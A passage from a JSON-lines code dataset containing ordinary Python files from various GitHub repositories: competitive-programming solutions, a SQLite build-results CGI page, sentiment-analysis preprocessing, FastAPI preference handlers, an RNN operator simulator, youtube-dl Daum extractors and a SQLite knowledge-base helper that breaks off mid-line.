print(\"Goodbye\")\n\n","repo_name":"manchung/100-Day-of-Code-Python","sub_path":"CLI/caesar_cipher.py","file_name":"caesar_cipher.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18330978831","text":"import sys\nimport math\nimport bisect\nfrom heapq import heapify, heappop, heappush\nfrom collections import deque, defaultdict, Counter\nfrom functools import lru_cache\nfrom itertools import accumulate, combinations, permutations\n\nsys.setrecursionlimit(1000000)\nMOD = 10 ** 9 + 7\nMOD99 = 998244353\n\ninput = lambda: sys.stdin.readline().strip()\nNI = lambda: int(input())\nNMI = lambda: map(int, input().split())\nNLI = lambda: list(NMI())\nSI = lambda: input()\nSMI = lambda: input().split()\nSLI = lambda: list(SMI())\n\n\ndef main():\n    N, K = NMI()\n    S = SI()\n    S = [ord(s) - ord(\"a\") for s in S]\n\n    def make_hash(b, m):\n        P = [pow(b, i, m) for i in range(26)]\n        H = []\n        nums = [0] * 26\n        D = deque()\n        for s in S:\n            D.append(s)\n            nums[s] += 1\n            while len(D) > K:\n                x = D.popleft()\n                nums[x] -= 1\n\n            if len(D) < K:\n                continue\n            # print(D)\n            h = 0\n            for i in range(26):\n                h += nums[i] * P[i] % m\n                h %= m\n            H.append(h)\n        return H\n\n\n    H1 = make_hash(37, MOD99)\n    H2 = make_hash(41, MOD)\n\n    use = set()\n    for i in range(K, len(H1)):\n        use.add((H1[i-K], H2[i-K]))\n        if (H1[i], H2[i]) in use:\n            print(\"YES\")\n            exit()\n\n    print(\"NO\")\n\n\n\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"Mao-beta/AtCoder","sub_path":"ARC/ARC024/ARC024C.py","file_name":"ARC024C.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37229264485","text":"#https://open.kattis.com/problems/vote\r\nfor i in range(int(input())):\r\n    candidates = int(input())\r\n    votes = [int(input()) for _ in range (candidates)]\r\n    if votes.count(max(votes)) > 1:\r\n        print(\"no winner\")\r\n    else:\r\n        winner = max(votes)\r\n        if((winner / sum(votes)) > 0.5):\r\n            print(\"majority winner \" + str(votes.index(winner)+1))\r\n        else: \r\n            print(\"minority winner \" + str(votes.index(winner)+1))","repo_name":"Liamplussquared/kattis-questions","sub_path":"Python/Vote.py","file_name":"Vote.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30332957128","text":"#!/usr/bin/env python\n\nfrom mako.template import Template\nimport argparse\nimport cgi\nimport cgitb\nimport os\nimport sqlite3\n\nfrom lib.tabledescription import TableDescription\nfrom lib import resultsquery\n\ndef generate_datail_html(database_name, category, uplid, ufid, uor):\n    conn = sqlite3.connect(database_name)\n    cursor = conn.cursor()\n\n    parameters = {}\n    restrictions = [\"category_name == :category\"]\n    parameters['category'] = category\n    if (uplid is not None):\n        restrictions.append(\"uplid == :uplid\")\n        parameters['uplid'] = uplid\n    if (ufid is not None):\n        restrictions.append(\"ufid == :ufid\")\n        parameters['ufid'] = ufid\n    if (uor is not None):\n        restrictions.append(\"uor_name == :uor\")\n        parameters['uor'] = uor\n\n    where_clause = \" AND \".join(restrictions)\n    sql_statement = \"\"\"\n            SELECT uplid, ufid, uor_name, component_name, diagnostics\n            FROM build_results\n            WHERE {}\n            ORDER BY uplid, ufid, component_name\"\"\".format(where_clause)\n\n    cursor.execute(sql_statement, parameters)\n    raw_table = cursor.fetchall()\n    conn.close()\n\n    parsed_table = list(\n        map(lambda x: {'uplid': x[0], 'ufid': x[1], 'uor': x[2], 'component': x[3], 'diagnostic': x[4]}, raw_table))\n    print(Template(filename=\"./detailpage.mako\").render(details=parsed_table))\n    print(category)\n\ndef cgimain():\n    form = cgi.FieldStorage()\n    category = form[\"category\"].value.strip()\n    uplid = form[\"uplid\"].value.strip() if \"uplid\" in form else None\n    ufid = form[\"ufid\"].value if \"ufid\" in form else None\n    uor = form[\"uor\"].value if \"uor\" in form else None\n\n    print(\"Content-type: text/html\")\n    print()\n    generate_datail_html(\"example_results.db\", category, uplid, ufid, uor)\n\ndef main():\n\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--database\",\n                        help = \"Database name\")\n    parser.add_argument(\"--uplid\",                         \n                        help = \"Restrict results by uplid\")\n    parser.add_argument(\"--ufid\",                         \n                        help = \"Restrict results by ufid\")\n    parser.add_argument(\"--uor\",                         \n                        help = \"Restrict results by uor\")\n    parser.add_argument(\"--category\",                         \n                        help = \"Restrict results by category\",\n                        required = True)  \n    parser.add_argument(\"--limit\",\n                        type = int,\n                        default = 20,\n                        help = \"Limit the number of results (default: 20).\")\n    args = parser.parse_args()\n    generate_datail_html(\"example_results.db\", args.category, args.uplid, args.ufid, args.uor)\n\nif __name__ == \"__main__\":\n    if 'GATEWAY_INTERFACE' in os.environ:\n        cgitb.enable()\n        cgimain()\n    else:\n        main()\n","repo_name":"mversche/build_results","sub_path":"detailpage.py","file_name":"detailpage.py","file_ext":"py","file_size_in_byte":2889,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"34612706775","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Nov 26 14:40:37 2016\r\n\r\n@author: renita\r\n\"\"\"\r\nimport os\r\nimport string,re\r\nimport json\r\nimport numpy as np\r\nfrom sklearn.cross_validation import StratifiedKFold\r\n\r\ncdir = os.path.dirname(os.path.realpath(__file__))\r\n\r\ndef get_full_reviews(input_df):\r\n    \"\"\" Extract full reviews from input_df \"\"\"\r\n    \r\n    df = input_df.copy()\r\n    assert set(['SentenceId','Sentiment', 'Phrase','PhraseId']).issubset(set(df.columns))\r\n    \r\n    # create a new column, the number of tokens in each phrase\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n    df['num_tokens'] = df['Phrase'].apply(lambda s: len(s.split()))\r\n    df = df.ix[df.groupby('SentenceId')['num_tokens'].idxmax()]\r\n    df.reset_index(inplace=True)\r\n    del df['num_tokens']\r\n    return df\r\n\r\ndef remove_stopwords(a_string):\r\n    \"\"\" Remove stopwords from a_string \"\"\"\r\n    with open(os.path.join(cdir, 'stopwords.json'),'r') as f:\r\n        stops = json.load(f)\r\n    stops = [token for token in stops]    \r\n    return \" \".join([s for s in a_string.split() if s not in stops])\r\n    \r\ndef munge(input_df):\r\n    \"\"\" \r\n    Clean reviews by transforming all string to lowercase, remove punctuations, and remove stopwords.\r\n    Input: a dataframe with 'Sentiment' (0-4) and 'Phrase' as columns     \r\n    Return a copy of the input dataframe with a new column labeled 'Cleaned_Phrase'\r\n    \"\"\"\r\n     \r\n    df = input_df.copy()\r\n    assert set(['SentenceId', 'Phrase','PhraseId']).issubset(set(df.columns))\r\n     \r\n    df['Cleaned_Phrase'] = df['Phrase'].apply(lambda s: s.lower())\\\r\n                                       .apply(lambda s: [tok for tok in s.split()])\\\r\n                                       .apply(lambda s: [re.sub('[' + string.punctuation + ']', ' ', tok) for tok in s])\\\r\n                                       .apply(lambda s: [re.sub('\\s+', '', tok).strip() for tok in s])\\\r\n                                       .apply(lambda s: \" \".join([tok for tok in s]))\\\r\n                                       .apply(lambda s: remove_stopwords(s))\r\n    return df\r\n    \r\ndef make_train_test(input_df, train_prop=0.8,seed=None):\r\n    \"\"\" Divide the sentiment data into train and test dfs \"\"\"\r\n    \r\n    df = input_df.copy()\r\n    assert set(['SentenceId','Sentiment', 'Phrase','PhraseId']).issubset(set(df.columns))\r\n    \r\n    if seed: np.random.seed(seed) \r\n    sentids = df['SentenceId'].unique()\r\n    mask = np.random.rand(len(sentids)) < train_prop\r\n    train_sentids, test_sentids = sentids[mask], sentids[~mask]\r\n    train, test = df[df['SentenceId'].isin(train_sentids)], df[df['SentenceId'].isin(test_sentids)]\r\n    \r\n    return train, test\r\n    \r\ndef get_classification_accuracy(prediction, true_labels):\r\n    \"\"\" Calculate the accuracy of prediction in %\"\"\"\r\n    return float(sum((prediction - true_labels) == 0)) / len(true_labels) * 100\r\n    \r\nif __name__ == '__main__':\r\n    \r\n    #------------------------------------------------------    \r\n    # Preprocess and save the cleaned data into disk\r\n    #------------------------------------------------------\r\n    import pickle\r\n\r\n#    reviews = pd.read_table(cdir + '/data/train.tsv',sep='\\t'\r\n#                                          ,dtype={ 'PhraseId': str\r\n#                                                ,'SentenceId': str\r\n#                                                ,'Sentiment' : int \r\n#                                                ,'Phrase': str} )\r\n#    \r\n#    reviews = munge(reviews) \r\n#    \r\n#    pickle.dump( reviews, open(os.path.join(cdir, 'reviews_munged.pkl'),'wb') )\r\n    \r\n    # Load the dataset\r\n    reviews = pickle.load( open(os.path.join(cdir, 'reviews_munged.pkl'),'rb') )\r\n    \r\n    #------------------------------------------------------\r\n    # Divide the training data into 5 (train, validation) folds and save the indices into disk   \r\n    #------------------------------------------------------\r\n    full_reviews = get_full_reviews(reviews)      \r\n    train_labels = full_reviews['Sentiment']\r\n    \r\n    nfolds = 5\r\n    skf = StratifiedKFold(train_labels, n_folds=nfolds,random_state=200)\r\n    for ix_fold, (train_idx, valid_idx) in enumerate(skf): \r\n        train_fname = 'fold' + str(ix_fold) + '_train_SentenceId.pkl'\r\n        valid_fname = 'fold' + str(ix_fold) + '_valid_SentenceId.pkl'\r\n        fold_train_sentid = full_reviews.iloc[train_idx.tolist()]['SentenceId']\r\n        fold_valid_sentid = full_reviews.iloc[valid_idx.tolist()]['SentenceId']\r\n        \r\n        with open(os.path.join(cdir, train_fname),'wb') as f1, open(os.path.join(cdir, valid_fname),'wb') as f2:\r\n            pickle.dump(fold_train_sentid, f1)\r\n            pickle.dump(fold_valid_sentid, f2)","repo_name":"resudirga/ckme136_sent","sub_path":"ckme136_utl.py","file_name":"ckme136_utl.py","file_ext":"py","file_size_in_byte":4647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41001297990","text":"import model\nfrom schema import LikeStaff, UserBase, Staff\nfrom sqlalchemy.orm import Session\nfrom typing import List\nfrom sqlalchemy.exc import IntegrityError\nfrom fastapi import HTTPException,status\n\ndef create_staff_preference(preferences: List[LikeStaff], db: Session):\n    db_preferences=[model.LikeStaff(id_user= preference.id_user, id_staff=preference.id_staff) for preference in preferences]\n    try:     \n        db.add_all(db_preferences)\n        db.commit()\n    except IntegrityError: \n        db.rollback()\n        raise HTTPException(status_code=status.HTTP_400_BAD_REQUEST,detail=\"Relationship already exists.\")\n    else:\n        return preferences\n\ndef get_staff_preferences_by_user(uid:int, db:Session):\n    result = db.query(model.Staff).join(model.LikeStaff).filter(model.LikeStaff.id_user==uid).all()\n    return [Staff(uid=staff.uid, name=staff.name, job=staff.job) for staff in result]\n\ndef delete_staff_preference(preferences:LikeStaff,db:Session):\n    db.query(model.LikeStaff).filter(model.LikeStaff.id_user==preferences.id_user).filter(model.LikeStaff.id_staff==preferences.id_staff).delete()\n    db.commit()\n\ndef update_staff_preference(old_preferences: LikeStaff,new_preferences:LikeStaff, db:Session):\n    db_preferences = db.query(model.LikeStaff).filter(model.LikeStaff.id_user==old_preferences.id_user).filter(model.LikeStaff.id_staff==old_preferences.id_staff).first()\n    if db_preferences is not None:\n        preferences_data = new_preferences.dict(exclude_unset=True)\n        for key,value in preferences_data.items():\n            setattr(db_preferences, key,value)\n        db.add(db_preferences)\n        db.commit()\n        db.refresh(db_preferences)\n        return db_preferences\n    else:\n        raise HTTPException(status_code=status.HTTP_404_NOT_FOUND, detail=\"Staff not found.\")\n    \ndef get_staff_preference_by_group(users:List[UserBase], db: Session):\n    users_id=[int(user.uid) for user in users]\n    result= db.query(model.Staff).join(model.LikeStaff).filter(model.LikeStaff.id_user.in_(users_id)).all()\n    return [Staff(uid=staff.uid, name=staff.name, job=staff.job) for staff in result]","repo_name":"Hiruurouge/WatchOurMovie","sub_path":"preferences-service/src/controller/staff.py","file_name":"staff.py","file_ext":"py","file_size_in_byte":2136,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17372039566","text":"\n\nimport copy\nimport numpy as np\nfrom functools import reduce\nfrom .utils import *\nfrom utils.data import *\n\nNODE_OPERATOR_DICT = {'group':'DataOperator', \n                      'vector':'DataOperator', \n                      'data':'DataOperator', \n                      'matmul':'MatmulOperator', \n                      'eltwise':'AddOperator', \n                      'sigmoid':'SigmoidOperator', \n                      'tanh':'TanhOperator', \n                      'mul':'EmulOperator', \n                      'sub':'SubOperator',\n                      'concat': 'ConcatOperator',\n                      'matmul_relu': 'MatmulReluOperator',\n                      'eltwise_relu': 'AddReluOperator'}\n\ndef generate_all_operator():\n\n    class BaseOperator():\n        def __init__(self, *args, **kwargs):\n            self._node = kwargs['node']\n            self._input_nodes = kwargs['input_nodes']\n        \n        def run(self):\n            data_shape = np.array(self._node['data']).shape\n            if not list(data_shape) == list(self._node['shape']):\n                raise ValueError('Data shape does not match the shape attribute')\n            return (self._node['shape'], self._node['data'])\n\n    class DataOperator(BaseOperator):\n        pass\n\n    class MatmulOperator(BaseOperator):\n        def run(self):\n            #weights_shape = []\n            #input_shape = []\n            for node in self._input_nodes:\n                if node['type'] == 'group':\n                    weights_matrix = np.array(node['data'])\n                    #weights_shape = node['shape']\n                else:\n                    input_matrix = np.array(node['data'])\n                    #input_shape = node['shape']\n            #if not weights_shape[1] == input_shape[0]:\n            #    raise ValueError('Matmul node, shape of weights does not match shape of input')\n            #matmul_shape = [weights_shape[0], input_shape[1]]\n            #print('weights: ', weights_matrix) \n            #print('input: ', input_matrix) \n            #print('shift: ', self._node['shift'])\n            if self._node['transpose_a']:\n                input_matrix = input_matrix.transpose()\n            if self._node['transpose_b']:\n                weights_matrix = weights_matrix.transpose()\n            \n            matmul_matrix = mmul(input_matrix.astype(np.int64), weights_matrix.astype(np.int64), self._node['shift'])\n            #matmul_matrix = mmul(weights_matrix, input_matrix, self._node['shift'])\n            return (self._node['shape'], matmul_matrix.tolist())\n        \n    class EmulOperator(BaseOperator):\n        def run(self):\n            '''\n            input0_shape = self._input_nodes[0]['shape']\n            input1_shape = self._input_nodes[1]['shape']\n            if not input0_shape == input1_shape:\n                raise ValueError('Emul node, shape of inputs does not match')\n            '''\n            \n            input0_matrix = self._input_nodes[0]['data']\n            input1_matrix = self._input_nodes[1]['data']\n            emul_matrix = emul(np.array(input0_matrix, dtype=np.int64), \n                               np.array(input1_matrix, dtype=np.int64),\n                               self._node['shift'])\n            return (self._node['shape'], emul_matrix.tolist())\n            \n    class TanhOperator(BaseOperator):\n        def run(self):\n            input_matrix = self._input_nodes[0]['data']\n            tanh_matrix = mapping_tanh(np.array(input_matrix, dtype=np.int64), \n                                       np.array(GLOBAL_VARIABLE.TANH_ACTV, dtype=np.int64),\n                                       self._node['shift'])\n            return (copy.deepcopy(self._input_nodes[0]['shape']), tanh_matrix.tolist())\n\n    class SigmoidOperator(BaseOperator):\n        def run(self):\n            input_matrix = self._input_nodes[0]['data']\n            sigmoid_matrix = mapping_sigm(np.array(input_matrix, dtype=np.int64), \n                                          np.array(GLOBAL_VARIABLE.SIGMOID_ACTV, dtype=np.int64),\n                                          self._node['shift'])\n            return (copy.deepcopy(self._input_nodes[0]['shape']), sigmoid_matrix.tolist())\n\n    class AddOperator(BaseOperator):\n        def run(self):\n            '''\n            input0_shape = self._input_nodes[0]['shape']\n            input1_shape = self._input_nodes[1]['shape']\n            \n            if not input0_shape == input1_shape:\n                raise ValueError('Add node, shape of inputs does not match')\n            '''\n                \n            input0_matrix = self._input_nodes[0]['data']\n            input1_matrix = self._input_nodes[1]['data']\n            add_matrix = add(np.array(input0_matrix, dtype=np.int64), np.array(input1_matrix, dtype=np.int64))\n            return (self._node['shape'], add_matrix.tolist())\n        \n    class SubOperator(BaseOperator):\n        def run(self):\n            '''\n            input0_shape = self._input_nodes[0]['shape']\n            input1_shape = self._input_nodes[1]['shape']\n            \n            if not input0_shape == input1_shape:\n                raise ValueError('Sub node, shape of inputs does not match')\n            '''\n                \n            input0_matrix = self._input_nodes[0]['data']\n            input1_matrix = self._input_nodes[1]['data']\n            sub_matrix = sub(np.array(input0_matrix, dtype=np.int64), np.array(input1_matrix, dtype=np.int64))\n            return (self._node['shape'], sub_matrix.tolist())\n    \n    class ConcatOperator(BaseOperator):\n        def run(self):\n            concat_axis = self._node['axis']\n            \n            input0_matrix = self._input_nodes[0]['data']\n            input1_matrix = self._input_nodes[1]['data']\n            #concat_matrix = concat(np.array(input0_matrix, dtype=np.int64), np.array(input1_matrix, dtype=np.int64), concat_axis)\n            \n            concat_matrix = reduce(lambda x,y: np.concatenate((np.array(x['data']),np.array(y['data'])), axis=concat_axis), self._input_nodes)\n            #reduce(lambda x,y: np.concatenate((x,y), axis=concat_axis), ops_array)\n            return (self._node['shape'], concat_matrix.tolist())\n\n    class MatmulReluOperator(MatmulOperator):\n        def run(self):\n            _, matmul_matrix = super().run()\n            relu_matrix = np.where(np.array(matmul_matrix)>0, np.array(matmul_matrix), 0)\n            return (self._node['shape'], relu_matrix.tolist())\n        \n    class AddReluOperator(AddOperator):\n        def run(self):\n            _, add_matrix = super().run()\n            relu_matrix = np.where(np.array(add_matrix)>0, np.array(add_matrix), 0)\n            return (self._node['shape'], relu_matrix.tolist())\n\n    return locals()\n\nall_generated_operators = generate_all_operator()\n\ndef make_operator(*args, **kwargs):\n    cur_node = kwargs['node']\n    node_class = all_generated_operators[NODE_OPERATOR_DICT[cur_node['type']]]\n    return node_class(*args, **kwargs)\n    \n","repo_name":"PenroseZ/vitis-ai","sub_path":"tools/RNN/rnn_compiler/lstm_simulator/operator.py","file_name":"operator.py","file_ext":"py","file_size_in_byte":6955,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"22068806374","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# @author: hongyue.pei\n# @file: test.py\n# @time: 2019/7/22 上午10:20\n# @desc:\n\n\nimport ant\nimport pandas as pd\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nimport os\n\n\ndef load_data(path):\n    columns = ['男', '女', '年龄', '*天门冬氨酸氨基转换酶', '*丙氨酸氨基转换酶',\n       '*碱性磷酸酶', '*r-谷氨酰基转换酶', '*总蛋白', '白蛋白', '*球蛋白', '白球比例', '甘油三酯', '总胆固醇',\n       '高密度脂蛋白胆固醇', '低密度脂蛋白胆固醇', '尿素', '肌酐', '尿酸',\n               '白细胞计数', '红细胞计数', '血红蛋白', '红细胞压积', '红细胞平均体积',\n       '红细胞平均血红蛋白量', '红细胞平均血红蛋白浓度', '红细胞体积分布宽度', '血小板计数', '血小板平均体积',\n       '血小板体积分布宽度', '血小板比积', '中性粒细胞%', '淋巴细胞%', '单核细胞%', '嗜酸细胞%', '嗜碱细胞%',\n       ]\n    label_columns = ['血糖']\n    data = pd.read_csv(path)\n    # data = data.fillna(9999)\n    for col in columns:\n        if data[col].isnull().any():\n            data[col].fillna(data[col].median())\n    a = pd.get_dummies(data['性别'])\n    data.drop(['性别'], axis=1, inplace=True)\n    data = pd.concat([data, a], axis=1)\n    return data[columns].values, data[label_columns].values\n\n\nif __name__ == '__main__':\n    train_path = '/home/peihongyue/project/python/dl/data/hpd/train_data.csv'\n    if not os.path.exists(train_path):\n        train_path = '/Users/peihongyue/phy/project/ai/dl/data/train_data.csv'\n    test_path = '/home/peihongyue/project/python/dl/data/hpd/test_data.csv'\n    if not os.path.exists(test_path):\n        test_path = '/Users/peihongyue/phy/project/ai/dl/data/test_data.csv'\n    train_x, train_y = load_data(train_path)\n    train_x = StandardScaler().fit_transform(train_x)\n    train_x, test_x, train_y, test_y = train_test_split(train_x, train_y, test_size=0.3)\n    agt = ant.Auto_Grow_Tree(train_x, test_x, train_y, test_y, num_n=1024, categories=1, solver='xgboost_reg')\n    print(agt.k_mean_list)\n    agt.auto_grow()\n","repo_name":"MiniBee/dl","sub_path":"others/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2211,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29569206941","text":"# encoding: utf-8\n\nfrom __future__ import unicode_literals\n\nimport re\n\nfrom .common import InfoExtractor\nfrom ..compat import (\n    compat_urllib_parse,\n    compat_urllib_parse_unquote,\n)\nfrom ..utils import (\n    int_or_none,\n    str_to_int,\n    xpath_text,\n)\n\n\nclass DaumIE(InfoExtractor):\n    _VALID_URL = r'https?://(?:(?:m\\.)?tvpot\\.daum\\.net/v/|videofarm\\.daum\\.net/controller/player/VodPlayer\\.swf\\?vid=)(?P<id>[^?#&]+)'\n    IE_NAME = 'daum.net'\n\n    _TESTS = [{\n        'url': 'http://tvpot.daum.net/v/vab4dyeDBysyBssyukBUjBz',\n        'info_dict': {\n            'id': 'vab4dyeDBysyBssyukBUjBz',\n            'ext': 'mp4',\n            'title': '마크 헌트 vs 안토니오 실바',\n            'description': 'Mark Hunt vs Antonio Silva',\n            'upload_date': '20131217',\n            'thumbnail': 're:^https?://.*\\.(?:jpg|png)',\n            'duration': 2117,\n            'view_count': int,\n            'comment_count': int,\n        },\n    }, {\n        'url': 'http://m.tvpot.daum.net/v/65139429',\n        'info_dict': {\n            'id': '65139429',\n            'ext': 'mp4',\n            'title': 'md5:a100d65d09cec246d8aa9bde7de45aed',\n            'description': 'md5:79794514261164ff27e36a21ad229fc5',\n            'upload_date': '20150604',\n            'thumbnail': 're:^https?://.*\\.(?:jpg|png)',\n            'duration': 154,\n            'view_count': int,\n            'comment_count': int,\n        },\n    }, {\n        'url': 'http://tvpot.daum.net/v/07dXWRka62Y%24',\n        'only_matching': True,\n    }, {\n        'url': 'http://videofarm.daum.net/controller/player/VodPlayer.swf?vid=vwIpVpCQsT8%24&ref=',\n        'info_dict': {\n            'id': 'vwIpVpCQsT8$',\n            'ext': 'flv',\n            'title': '01-Korean War ( Trouble on the horizon )',\n            'description': '\\nKorean War 01\\nTrouble on the horizon\\n전쟁의 먹구름',\n            'upload_date': '20080223',\n            'thumbnail': 're:^https?://.*\\.(?:jpg|png)',\n            'duration': 249,\n            'view_count': int,\n            'comment_count': int,\n        },\n    }]\n\n    def _real_extract(self, url):\n        video_id = compat_urllib_parse_unquote(self._match_id(url))\n        query = compat_urllib_parse.urlencode({'vid': video_id})\n        movie_data = self._download_json(\n            'http://videofarm.daum.net/controller/api/closed/v1_2/IntegratedMovieData.json?' + query,\n            video_id, 'Downloading video formats info')\n\n        # For urls like http://m.tvpot.daum.net/v/65139429, where the video_id is really a clipid\n        if not movie_data.get('output_list', {}).get('output_list') and re.match(r'^\\d+$', video_id):\n            return self.url_result('http://tvpot.daum.net/clip/ClipView.do?clipid=%s' % video_id)\n\n        info = self._download_xml(\n            'http://tvpot.daum.net/clip/ClipInfoXml.do?' + query, video_id,\n            'Downloading video info')\n\n        formats = []\n        for format_el in movie_data['output_list']['output_list']:\n            profile = format_el['profile']\n            format_query = compat_urllib_parse.urlencode({\n                'vid': video_id,\n                'profile': profile,\n            })\n            url_doc = self._download_xml(\n                'http://videofarm.daum.net/controller/api/open/v1_2/MovieLocation.apixml?' + format_query,\n                video_id, note='Downloading video data for %s format' % profile)\n            format_url = url_doc.find('result/url').text\n            formats.append({\n                'url': format_url,\n                'format_id': profile,\n                'width': int_or_none(format_el.get('width')),\n                'height': int_or_none(format_el.get('height')),\n                'filesize': int_or_none(format_el.get('filesize')),\n            })\n        self._sort_formats(formats)\n\n        return {\n            'id': video_id,\n            'title': info.find('TITLE').text,\n            'formats': formats,\n            'thumbnail': xpath_text(info, 'THUMB_URL'),\n            'description': xpath_text(info, 'CONTENTS'),\n            'duration': int_or_none(xpath_text(info, 'DURATION')),\n            'upload_date': info.find('REGDTTM').text[:8],\n            'view_count': str_to_int(xpath_text(info, 'PLAY_CNT')),\n            'comment_count': str_to_int(xpath_text(info, 'COMMENT_CNT')),\n        }\n\n\nclass DaumClipIE(InfoExtractor):\n    _VALID_URL = r'https?://(?:m\\.)?tvpot\\.daum\\.net/(?:clip/ClipView.(?:do|tv)|mypot/View.do)\\?.*?clipid=(?P<id>\\d+)'\n    IE_NAME = 'daum.net:clip'\n\n    _TESTS = [{\n        'url': 'http://tvpot.daum.net/clip/ClipView.do?clipid=52554690',\n        'info_dict': {\n            'id': '52554690',\n            'ext': 'mp4',\n            'title': 'DOTA 2GETHER 시즌2 6회 - 2부',\n            'description': 'DOTA 2GETHER 시즌2 6회 - 2부',\n            'upload_date': '20130831',\n            'thumbnail': 're:^https?://.*\\.(?:jpg|png)',\n            'duration': 3868,\n            'view_count': int,\n        },\n    }, {\n        'url': 'http://m.tvpot.daum.net/clip/ClipView.tv?clipid=54999425',\n        'only_matching': True,\n    }]\n\n    def _real_extract(self, url):\n        video_id = self._match_id(url)\n        clip_info = self._download_json(\n            'http://tvpot.daum.net/mypot/json/GetClipInfo.do?clipid=%s' % video_id,\n            video_id, 'Downloading clip info')['clip_bean']\n\n        return {\n            '_type': 'url_transparent',\n            'id': video_id,\n            'url': 'http://tvpot.daum.net/v/%s' % clip_info['vid'],\n            'title': clip_info['title'],\n            'thumbnail': clip_info.get('thumb_url'),\n            'description': clip_info.get('contents'),\n            'duration': int_or_none(clip_info.get('duration')),\n            'upload_date': clip_info.get('up_date')[:8],\n            'view_count': int_or_none(clip_info.get('play_count')),\n            'ie_key': 'Daum',\n        }\n","repo_name":"chunyanghero/youtube-dl","sub_path":"youtube_dl/extractor/daum.py","file_name":"daum.py","file_ext":"py","file_size_in_byte":5866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"}
+{"seq_id":"45073148462","text":"import sqlite3\nfrom sqlite3 import Error\n\ndef create_connection(db_file):\n    \"\"\" create a database connection to a SQLite database \"\"\"\n    conn = None\n    try:\n        conn = sqlite3.connect(db_file)\n        print(\"** SQLite DB active, version:\",sqlite3.version)\n    except Error as e:\n        print(\"** ERROR **\", e)\n    finally:\n        if conn:\n            conn.close()\n\ndef connect_to_db(db_file):\n    conn = None\n    try:\n        conn = sqlite3.connect(db_file)\n        print(\"** Connection established\")\n        return conn\n    except Error as e:\n        print(e)\n\n    return conn\n\ndef drop_tables():\n    database = \"knowledge.db\"\n    conn = connect_to_db(database)\n\n    c = conn.cursor()\n\n    query = \"drop table users\"\n    c.execute(query)\n    query = \"drop table domains\"\n    c.execute(query)\n    query = \"drop table domains\"\n    c.execute(query)\n    query = \"drop table domains\"\n    c.execute(query)\n    \n    conn.commit()\n    c = conn.cursor()\n\ndef create_tables():\n    database = \"knowledge.db\"\n    conn = connect_to_db(database)\n\n    c = conn.cursor()\n\n    query = \"\"\" CREATE TABLE IF NOT EXISTS users (\n                                        user_id_id integer PRIMARY KEY,\n                                        name text NOT NULL,\n                                        username text NOT NULL,\n                                        password text NOT NULL,\n                                        role text NOT NULL\n                                    ); \"\"\"\n    c.execute(query)\n\n    query = \"\"\" CREATE TABLE IF NOT EXISTS domains (\n                                        domain_id integer PRIMARY KEY,\n                                        name text NOT NULL                                    \n                                    ); \"\"\"\n    c.execute(query)\n    \n    query = \"\"\" CREATE TABLE IF NOT EXISTS topics (\n                                        topic_id integer PRIMARY KEY,\n                                        name text NOT NULL,\n                                        domain int,\n                                        foreign key(domain) references domains(domain_id)\n                                    ); \"\"\"\n    c.execute(query)\n    \n    query = \"\"\" CREATE TABLE IF NOT EXISTS knowledge (\n                                        know_id integer PRIMARY KEY,\n                                        domain int,\n                                        topic int,\n                                        problem text NOT NUll,\n                                        solution text NOT NULL,\n                                        foreign key(domain) references domains(domain_id),\n                                        foreign key(domain) references domains(domain_id)\n                                    ); \"\"\"\n    c.execute(query)\n\n    print(\"** Tables created\")\n\ndef create_starter_data():\n    database = \"knowledge.db\"\n    conn = connect_to_db(database)\n    c = conn.cursor()\n\n    query = \"delete from domains\"\n    c.execute(query)\n    \n    query = '''INSERT INTO domains (name)\n                VALUES( \"HTML\"), (\"CSS\"), (\"JS\"), (\"HTML/CSS/JS\"), (\"JQuery\"), (\"SQL\"), (\"Python\"), (\"Flask\"), (\"Misc\");'''\n    c.execute(query)\n    conn.commit()\n\ndef get_domains():\n    database = \"knowledge.db\"\n    conn = connect_to_db(database)\n    c = conn.cursor()\n    query = '''select name from domains'''\n    c.execute(query)\n    data = c.fetchall()\n    output = []\n    for d in data:\n        output.append(d[0])\n    return output\n\ndef get_topics():\n    database = \"knowledge.db\"\n    conn = connect_to_db(database)\n    c = conn.cursor()\n    query = '''select name, domain from topics'''\n    c.execute(query)\n    data = c.fetchall()\n    output = []\n    for d in data:\n        output.append(d[0])\n    return output\n\ndef get_knowledge(id):\n    print(\"todo\")\n\ndef get_knowledge_all():\n    database = \"knowledge.db\"\n    conn = connect_to_db(database)\n    c = conn.cursor()\n    query = '''select domain, topic, problem, solution from knowledge'''\n    c.execute(query)\n    data = c.fetchall()\n    output = []\n    for d in data:\n        output.append(d[2])\n    query = '''select name, domain from topics'''\n    c.execute(query)\n    data = c.fetchall()\n    query = '''select * from knowledge'''\n    c.execute(query)\n    data = c.fetchall()\n    print(\"------ > * from knowledge: \", data)\n    query = '''select * from topics'''\n    c.execute(query)\n    data = c.fetchall()\n    print(\"------ > * from topics: \", data)\n    \n    return output\n\ndef add_knowledge(domain, topic, problem, solution):\n    database = \"knowledge.db\"\n    conn = connect_to_db(database)\n    c = conn.cursor()\n    query = '''select domain_id from domains where name=?'''\n    c.execute(query, (domain,))\n    data = c.fetchall()\n    try:\n        domain_id = data[0][0]\n    except:\n        print(\"error with data, data = \", data)\n        print(\"error with data, name to be found = \", 